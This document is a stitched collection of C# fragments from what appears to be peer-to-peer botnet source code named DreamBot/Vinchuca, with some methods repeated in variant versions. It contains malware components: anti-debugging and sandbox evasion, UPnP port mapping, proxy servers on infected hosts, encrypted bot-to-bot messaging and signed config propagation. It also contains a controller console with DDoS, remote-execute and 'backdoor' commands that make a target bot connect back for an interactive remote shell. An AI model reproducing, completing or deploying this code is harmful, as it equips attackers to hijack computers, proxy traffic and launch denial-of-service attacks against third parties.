public void UpdatePeer(BotIdentifier botId)
{
if (_peers.ContainsKey(botId))
{
_peers[botId].Touch();
}
}
public void Punish(BotIdentifier botId)
{
if (_peers.ContainsKey(botId))
{
_peers[botId].DecreseReputation();
}
}
public DreamBotApp(int port, BotIdentifier id)
{
BotId = id;
Logger.Info(0, "DreamBot [id: {0}] listenning on port {1}", BotId, port);
_worker = new ClientWorker();
_worker.QueueForever(AntiDebugging.CheckDebugger, TimeSpan.FromSeconds(1));
_worker.QueueForever(AntiDebugging.CheckDebugging, TimeSpan.FromSeconds(0.3));
_peerList = new PeerList(_worker);
_peerList.DesparadoModeActivated += DesperateModeActivated;
_listener = new MessageListener(port);
_listener.UdpPacketReceived += EnqueueMessage;
_comunicationManager = new ComunicationManager(_listener, _worker);
_peersManager = new PeerManager(_comunicationManager, _peerList, _worker, BotId);
_messagesManager = new MessageManager(_peersManager);
_messagesManager.Register(0x00, MessageType.Request, typeof(HelloMessage), new HelloMessageHandler(_peerList, _messagesManager), false);
_messagesManager.Register(0x01, MessageType.Reply, typeof(HelloReplyMessage), new HelloReplyMessageHandler(_peerList, _messagesManager), true);
_messagesManager.Register(0x02, MessageType.Request, typeof(GetPeerListMessage), new GetPeerListMessageHandler(_peerList, _messagesManager), true);
_messagesManager.Register(0x03, MessageType.Reply, typeof(GetPeerListReplyMessage), new GetPeerListReplyMessageHandler(_peerList, _messagesManager), true);
_messagesManager.Register(0xFF, MessageType.Special, typeof(InvalidMessage), new InvalidMessageHandler(_peerList), false);
_socks5 = new Socks5Server(8009);
_https = new HttpsProxyServer(8019);
//_connectivityTester = new ConnectivityTester();
//_connectivityTester.OnConnectivityStatusChanged += OnConnectivityStatusChanged;
}
public Agent(int port, BotIdentifier id)
{
BotIdentifier.Id = id;
Logger.Info("Vinchuca Agent [id: {0}] listenning on port {1}", BotIdentifier.Id, port);
_worker = ClientWorker.Instance;
_worker.QueueForever(AntiDebugging.CheckDebugger, TimeSpan.FromSeconds(1));
_worker.QueueForever(AntiDebugging.CheckDebugging, TimeSpan.FromSeconds(0.3));
_worker.QueueForever(SandboxDetection.CheckSandboxed, TimeSpan.FromSeconds(1));
_peerList = new PeerList(_worker);
_peerList.DesparadoModeActivated += DesperateModeActivated;
if (IPAddressUtils.BehingNAT(IPAddressUtils.GetLocalIPAddress()))
{
var upnpSearcher = new UpnpSearcher();
upnpSearcher.DeviceFound += (s, e) =>
{
PublicIP = e.Device.GetExternalIP();
Logger.Verbose("External IP Address: {0}", PublicIP);
try
{
var externalPort = BotIdentifier.Id.GetPort();
BotIdentifier.EndPoint = new IPEndPoint(PublicIP, externalPort);
var device = e.Device;
device.CreatePortMap(new Mapping(Protocol.Udp, port, externalPort));
device.CreatePortMap(new Mapping(Protocol.Tcp, port, externalPort + 1));
device.CreatePortMap(new Mapping(Protocol.Tcp, port, externalPort + 2));
}
catch (MappingException ex)
{
Logger.Warn("UPnp - port mapping failed: {0} - {1}", ex.ErrorCode, ex.ErrorText);
}
finally
{
upnpSearcher.Stop();
}
};
upnpSearcher.Search();
}
_listener = new MessageListener(port);
_listener.UdpPacketReceived += EnqueueMessage;
_communicationManager = new CommunicationManager(_listener, _worker);
var peersManager = new PeerManager(_communicationManager, _peerList, _worker);
_messagesManager = new MessageManager(peersManager);
peersManager.MessageSender = _messagesManager;
RegisterMessageHandlers(peersManager);
var externPort = BotIdentifier.Id.GetPort();
_socks5 = new Socks5Server(externPort + 1);
_https = new HttpsProxyServer(externPort + 2);
_connectivityTester = new ConnectivityTester();
_connectivityTester.OnConnectivityStatusChanged += OnConnectivityStatusChanged;
}
public void Send(Message message, BotIdentifier botId, ulong correlationId)
{
var messageId = _messageTypeMap[message.GetType()].MessageId;
var payload = message.Encode();
LogMessaging(message, botId, true);
_peerManager.Send(messageId, correlationId, 0, payload, botId);
}
public static PeerInfo Parse(string line)
{
var parts = line.Split(new[] { '@', ':' });
var id = BotIdentifier.Parse(parts[0]);
var ip = IPAddress.Parse(parts[1]);
var port = int.Parse(parts[2]);
return(new PeerInfo(id, new IPEndPoint(ip, port)));
}
public static void CheckIfAlreadyRunning(BotIdentifier id)
{
try
{
var mutexId = string.Format("Global\\{{{0}}}", id);
_mutex = new Mutex(true, mutexId);
_mutex.ReleaseMutex();
}
catch
{
Environment.Exit(0);
}
}
public PeerManager(ComunicationManager comunicationManager, PeerList peerList, IWorkScheduler worker, BotIdentifier botId)
{
_comunicationManager = comunicationManager;
_comunicationManager.PackageReceivedEventArgs += PackageReceivedEventArgs;
_worker = worker;
_botId = botId;
_waitingForReply = new ReplyWaitManager(_comunicationManager);
_worker.QueueForever(PurgeTimeouts, TimeSpan.FromSeconds(60));
_peerList = peerList;
_peerList.BrokenBotDetected += BrokenBotDetected;
}
public static void LogMessaging(Message m, BotIdentifier botId, bool sending)
{
var messageType = m.GetType().Name;
var bid = botId.ToString();
Logger.Verbose("[{0}] {1} {2,-24} {3,-5} {4} ",
sending ? "S" : "R",
sending ? "--->" : "<---",
messageType,
sending ? "to" : "from",
bid.Substring(0, Math.Min(12, bid.Length))
);
}
public void Send(Message message, BotIdentifier botId, ulong correlationId = 0, short ttl = 0)
{
if (ttl < 0)
{
return;
}
var meta = _messageTypeMap[message.GetType()];
var payload = message.Encode();
LogMessaging(message, botId, true);
ClientWorker.Instance.Queue(() =>
_peerManager.Send(meta, correlationId, ttl, payload, botId));
}
public override void DecodePayload(BinaryReader br)
{
var len = br.ReadInt16();
var peers = new List <PeerInfo>(len);
for (int i = 0; i < len; i++)
{
var botId = new BotIdentifier(br.ReadBytes(BotIdentifier.Size));
var ip = new IPAddress(br.ReadBytes(4));
var port = br.ReadInt32();
var peerInfo = new PeerInfo(botId, new IPEndPoint(ip, port));
peers.Add(peerInfo);
}
Peers = peers.ToArray();
}
public static void Main(string[] args)
{
var idbuf = new byte[16];
new Random().NextBytes(idbuf);
var id = new BotIdentifier(idbuf);
var listenPort = 33333;
var peers = new List<PeerInfo>();
foreach (var arg in args)
{
var v = arg.Substring(1);
switch (arg[0])
{
case 'p':
int.TryParse(v, out listenPort);
break;
case 'c':
foreach (var peerInfo in v.Split(new[]{';'}))
{
peers.Add(PeerInfo.Parse(peerInfo));
}
break;
case 'i':
id = BotIdentifier.Parse(v);
break;
}
}
#if !DEBUG
SystemInfo.CheckIfAlreadyRunning(id);
AntiDebugging.CheckDebugger();
SandboxDetection.CheckIfSandboxed();
#endif
_bot = new DreamBotApp(listenPort, id);
_bot.Bootstrap(peers);
_bot.Run();
var c = Console.ReadKey(true);
while(c.Key != ConsoleKey.Spacebar)
{
_bot.Debug(c.Key);
c = Console.ReadKey(true);
}
}
public static void Main(string[] args)
{
var hCmdWindow = GetConsoleWindow();
ShowWindow(hCmdWindow, SwShow);
var idbuf = new byte[16];
new Random().NextBytes(idbuf);
var id = new BotIdentifier(idbuf);
var listenPort = 33333;
var peers = new List <PeerInfo>();
foreach (var arg in args)
{
var v = arg.Substring(1);
switch (arg[0])
{
case 'p':
int.TryParse(v, out listenPort);
break;
case 'c':
foreach (var peerInfo in v.Split(new[] { ';' }))
{
peers.Add(PeerInfo.Parse(peerInfo));
}
break;
case 'i':
id = BotIdentifier.Parse(v);
break;
}
}
agent = new Agent(listenPort, id);
agent.Run();
agent.Bootstrap(peers);
new ManualResetEvent(false).WaitOne();
}
public void CheckConfigurationFileVersion(short cfgVersion, BotIdentifier botId)
{
if (cfgVersion > ConfigurationFileVersion)
{
Logger.Verbose("Updating config file version {0} to {1} from bot {2}", ConfigurationFileVersion, cfgVersion, botId);
var port = new Random().Next(33000, 33999);
var controllerIp = BotIdentifier.EndPoint.Address;
var serverEndpoint = new IPEndPoint(controllerIp, port);
var server = new TcpListener(serverEndpoint);
server.Start();
var message = new ShareFileMessage
{
Path = GetConfigFileNameFor(botId),
Endpoint = serverEndpoint
};
_messageManager.Send(message, botId);
var client = server.AcceptTcpClient();
var stream = client.GetStream();
var reader = new StreamReader(stream);
var fileContent = reader.ReadToEnd();
client.Close();
server.Stop();
var signer = new Signature();
try
{
var iosign = fileContent.Length - (2 * Signature.Lenght);
var content = fileContent.Substring(0, iosign);
var signatureBase64 = fileContent.Substring(iosign);
var signature = Convert.FromBase64String(signatureBase64);
signer.Verify(Encoding.ASCII.GetBytes(content), signature);
File.WriteAllText(ConfigurationFileName, fileContent);
ConfigurationFileVersion = cfgVersion;
}
catch
{
// ignored
}
}
}
public byte[] EncodeMessage(Message message, BotIdentifier botIdentifier)
{
return(message.Encode());
}
public PeerInfo(BotIdentifier botId, IPEndPoint endpoint)
{
BotId = botId;
EndPoint = endpoint;
LastSeen = DateTimeProvider.UtcNow;
}
public override void DecodePayload(BinaryReader br)
{
TargetBotId = new BotIdentifier(br.ReadBytes(BotIdentifier.Size));
ControllerEndpoint = new IPEndPoint(new IPAddress(br.ReadBytes(4)), br.ReadUInt16());
}
public PeerInfo this[BotIdentifier botId]
{
get { return(_peers[botId]); }
}
internal bool IsRegisteredBot(BotIdentifier botId)
{
return(_peers.ContainsKey(botId));
}
public void CheckAgentVersion(short botVersion, BotIdentifier botId)
{
throw new NotImplementedException();
}
internal void Send(MessageMetadata metadata, ulong correlationId, short ttl, byte[] payload, BotIdentifier peerBotId)
{
if (!_peerList.IsRegisteredBot(peerBotId) && (metadata.MessageId != MessageCode.Syn || metadata.MessageId != MessageCode.AckSyn))
{
Logger.Verbose("Cannot send message to unkown {0} bot", peerBotId);
return;
}
var peerInfo = _peerList[peerBotId];
byte[] message;
BotHeader header;
do
{
var padding = RandomUtils.NextPadding();
header = new BotHeader
{
CorrelationId = correlationId == 0 ? RandomUtils.NextCorrelationId() : correlationId,
MessageId = (short)metadata.MessageId,
PayloadSize = (short)payload.Length,
Padding = (short)padding.Length,
Ttl = ttl == 0 ? RandomUtils.NextTtl() : ttl
};
var preambule = BufferUtils.Concat(header.Encode(), padding);
message = BufferUtils.Concat(preambule, payload);
} while (!PoW.IsEnough(message, 0, message.Length, metadata.RequiredWork));
if (peerInfo.Handshaked)
{
message = Aes.Encrypt(message, 0, message.Length, peerInfo.EncryptionKey);
}
var endPoint = peerInfo.EndPoint;
Logger.Verbose("{0}@{1} {2}", header.BotId, endPoint, header.CorrelationId);
_communicationManager.Send(endPoint, message);
if (correlationId == 0)
{
WaitingForReply.Add(new Package(endPoint, message, message.Length), header.CorrelationId);
}
}
public override int Invoke(IEnumerable <string> args)
{
try
{
var extra = Options.Parse(args);
if (ShowHelp)
{
Options.WriteOptionDescriptions(CommandSet.Out);
return(0);
}
if (string.IsNullOrEmpty(BotId))
{
Console.WriteLine("commands: Missing required argument `--bot=BOT-IDENTIFIER`.");
Console.WriteLine("commands: Use `help backdoor` for details.");
return(1);
}
var port = new Random().Next(33000, 33999);
var serverEndpoint = new IPEndPoint(IPAddress.Loopback, port);
var server = new TcpListener(serverEndpoint);
server.Start();
var backdoorMessage = new BackdoorMessage()
{
TargetBotId = BotIdentifier.Parse(BotId),
ControllerEndpoint = new IPEndPoint(IPAddress.Parse("10.0.2.2"), port)
};
_agent.MessagesManager.Broadcast(backdoorMessage, 6);
var client = server.AcceptTcpClient();
var stream = client.GetStream();
var writer = new StreamWriter(stream)
{
AutoFlush = true
};
var reader = new StreamReader(stream);
ThreadPool.QueueUserWorkItem(s1 =>
{
var array = new char[1024];
try
{
int count;
while ((count = reader.Read(array, 0, array.Length)) != 0)
{
Console.Write(new string(array, 0, count));
}
}
catch (Exception e)
{
// ignored
}
});
ConsoleKeyInfo k;
var cursorLeft = 0;
while (true)
{
k = Console.ReadKey(true);
writer.Write(k.KeyChar);
Console.Write(k.KeyChar.ToString());
if (k.Key == ConsoleKey.Enter)
{
Console.CursorLeft -= cursorLeft;
cursorLeft = 0;
writer.WriteLine();
}
else
{
cursorLeft++;
}
}
client.Close();
server.Stop();
return(0);
}
catch (Exception e)
{
// _repl.Console.WriteLine("commands: {0}", CommandDemo.Verbosity >= 1 ? e.ToString() : e.Message);
return(1);
}
}
public override int Invoke(IEnumerable <string> args)
{
try
{
var extra = Options.Parse(args);
if (ShowHelp)
{
Options.WriteOptionDescriptions(CommandSet.Out);
return(0);
}
if (extra.Count == 0)
{
Console.WriteLine("commands: Missing required argument `BOT-IDENTIFIER`.");
Console.WriteLine("commands: Use `help backdoor` for details.");
return(1);
}
var botId = extra[0];
var targetBotId = BotIdentifier.Parse(botId);
var peerInfo = _agent.PeerList[targetBotId];
var controllerIp = IPAddressUtils.BehingNAT(peerInfo.EndPoint.Address)
? IPAddressUtils.GetLocalIPAddress()
: _agent.PublicIP;
var port = new Random().Next(33000, 33999);
var serverEndpoint = new IPEndPoint(controllerIp, port);
var server = new TcpListener(serverEndpoint);
server.Start();
var backdoorMessage = new BackdoorMessage()
{
TargetBotId = BotIdentifier.Parse(botId),
ControllerEndpoint = new IPEndPoint(controllerIp, port)
};
_agent.MessagesManager.Broadcast(backdoorMessage, 6);
var client = server.AcceptTcpClient();
var stream = client.GetStream();
Console.WriteLine("Connected!");
var writer = new StreamWriter(stream)
{
AutoFlush = true
};
var reader = new StreamReader(stream);
ThreadPool.QueueUserWorkItem(s1 =>
{
var array = new char[1024];
try
{
int count;
while ((count = reader.Read(array, 0, array.Length)) != 0)
{
Console.Write(new string(array, 0, count));
}
}
catch (Exception e)
{
// ignored
}
});
var bgColor = Console.BackgroundColor;
var fgColor = Console.ForegroundColor;
//Console.BackgroundColor = ConsoleColor.Blue;
Console.ForegroundColor = ConsoleColor.Cyan;
Console.CursorVisible = true;
ConsoleKeyInfo k;
var cursorLeft = 0;
var cmd = "";
while (cmd != "exit")
{
k = Console.ReadKey(true);
if (k.Key == ConsoleKey.Enter)
{
Console.CursorLeft -= cursorLeft;
cursorLeft = 0;
writer.Write('\n');
cmd = "";
}
else
{
cmd += k.KeyChar;
writer.Write(k.KeyChar);
Console.Write(k.KeyChar.ToString());
cursorLeft++;
}
}
client.Close();
server.Stop();
Console.BackgroundColor = bgColor;
Console.ForegroundColor = fgColor;
Console.WriteLine("\nbackdoor closed. Good bye, master!");
Console.WriteLine();
return(0);
}
catch (Exception e)
{
// _repl.Console.WriteLine("commands: {0}", CommandDemo.Verbosity >= 1 ? e.ToString() : e.Message);
return(1);
}
}
public IPEndPoint this[BotIdentifier botId]
{
get { return(_peers[botId].EndPoint); }
}
internal void Punish(BotIdentifier botId)
{
_peerList.Punish(botId);
}
private string GetConfigFileNameFor(BotIdentifier botId)
{
return("_tmp" + botId.ToString().Substring(0, 10));
}
public static void Main(string[] args)
{
var idbuf = new byte[16];
new Random().NextBytes(idbuf);
var id = new BotIdentifier(idbuf);
var listenPort = 33333;
var peers = new List <PeerInfo>();
foreach (var arg in args)
{
var v = arg.Substring(1);
switch (arg[0])
{
case 'p':
int.TryParse(v, out listenPort);
break;
case 'c':
foreach (var peerInfo in v.Split(new[] { ';' }))
{
peers.Add(PeerInfo.Parse(peerInfo));
}
break;
case 'i':
id = BotIdentifier.Parse(v);
break;
}
}
agent = new Agent(listenPort, id);
agent.Run();
agent.Bootstrap(peers);
var console = new VirtualConsole(0, 20);
ConsolesManager.Instance.SetFocus(console);
Console.SetCursorPosition(0, 21);
Console.Write(new string('=', Console.BufferWidth));
var repl = new CommandLineReader(console);
var suite = new CommandSet("vicha", null, console, console)
{
"usage: COMMAND [OPTIONS]+.",
"Available commands are:",
"",
// { "v:", "verbosity", (int? v) => Verbosity = v.HasValue ? v.Value : Verbosity+1 },
// Commands may also be specified
new DDoSStartCommand(agent, repl),
new DDoSStopCommand(agent, repl),
new ExecuteCommand(agent, repl),
new BackdoorCommand(agent, repl),
new AddNodeCommand(agent, repl),
new DebugCommand(agent, repl),
new Command("clear", "Clear the screen")
{
Run = x => repl.Clear()
},
new Command("exit", "Finished the control seesion and close the agent")
{
Run = x => Environment.Exit(0)
}
};
repl.NewCommand += (sender, eventArgs) =>
suite.Run(eventArgs.Command.Split(new [] { ' ' }, StringSplitOptions.RemoveEmptyEntries));
repl.Run();
}
public void Send(short messageId, ulong correlationId, short ttl, byte[] payload, BotIdentifier botId)
{
if (!_peerList.IsRegisteredBot(botId))
{
return;
}
var padding = RandomUtils.NextPadding();
var header = new BotHeader {
CorrelationId = correlationId == 0 ? RandomUtils.NextCorrelationId() : correlationId,
BotId = botId,
MessageId = messageId,
PayloadSize = (short)payload.Length,
Padding = (short)padding.Length,
Ttl = ttl == 0 ? RandomUtils.NextTtl() : ttl
};
var message = BufferUtils.Concat(header.Encode(), padding);
var rc4 = new Rc4(botId.ToByteArray());
rc4.Encrypt(message);
var now = new TimeSpan(DateTime.UtcNow.Ticks);
var minutes = now.TotalMilliseconds / (1000 * 60);
var xor = new Mod2(BitConverter.GetBytes(minutes));
xor.Decrypt(message);
var endPoint = _peerList[botId];
Logger.Verbose(3, "{0}@{1} {2}", header.BotId, endPoint, header.CorrelationId);
_comunicationManager.Send(endPoint, message);
if (correlationId == 0)
{
_waitingForReply.Add(new Package(endPoint, message), correlationId);
}
}
